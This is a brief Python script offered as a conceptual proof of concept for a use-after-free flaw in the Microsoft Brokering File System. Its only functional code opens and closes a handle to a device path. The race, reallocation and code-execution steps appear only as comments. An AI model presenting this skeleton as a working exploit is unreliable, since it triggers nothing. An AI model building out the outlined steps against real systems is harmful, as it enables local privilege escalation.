The following code is for security research and authorized testing only.
python
# CVE-2025-62569 PoC - Use After Free in Microsoft Brokering File System
# This is a conceptual PoC for educational purposes only
import ctypes
import os
def trigger_uaf_condition():
"""
Trigger Use-After-Free condition in Microsoft Brokering File System
Note: Actual exploitation requires specific driver interaction
"""
print("[*] CVE-2025-62569 - Microsoft Brokering File System UAF PoC")
print("[*] Target: Windows with vulnerable Microsoft Brokering File System")
# Step 1: Identify vulnerable driver
driver_path = r"\\.\BFS" # Brokering File System device
try:
# Open handle to driver
handle = ctypes.windll.kernel32.CreateFileA(
driver_path.encode(),
0xC0000000, # GENERIC_READ | GENERIC_WRITE
0, # no sharing
None,
3, # OPEN_EXISTING
0, # no attributes
None
)
if handle == -1:
print("[-] Failed to open driver handle")
return False
print("[+] Driver handle opened successfully")
# Step 2: Trigger race condition to free object
# Step 3: Reallocate memory with malicious data
# Step 4: Trigger use-after-free to execute code
# Cleanup
ctypes.windll.kernel32.CloseHandle(handle)
except Exception as e:
print(f"[-] Error: {e}")
return False
return True
if __name__ == "__main__":
print("[*] Educational PoC for CVE-2025-62569")
print("[*] Requires: Local access, low privilege account")
trigger_uaf_condition()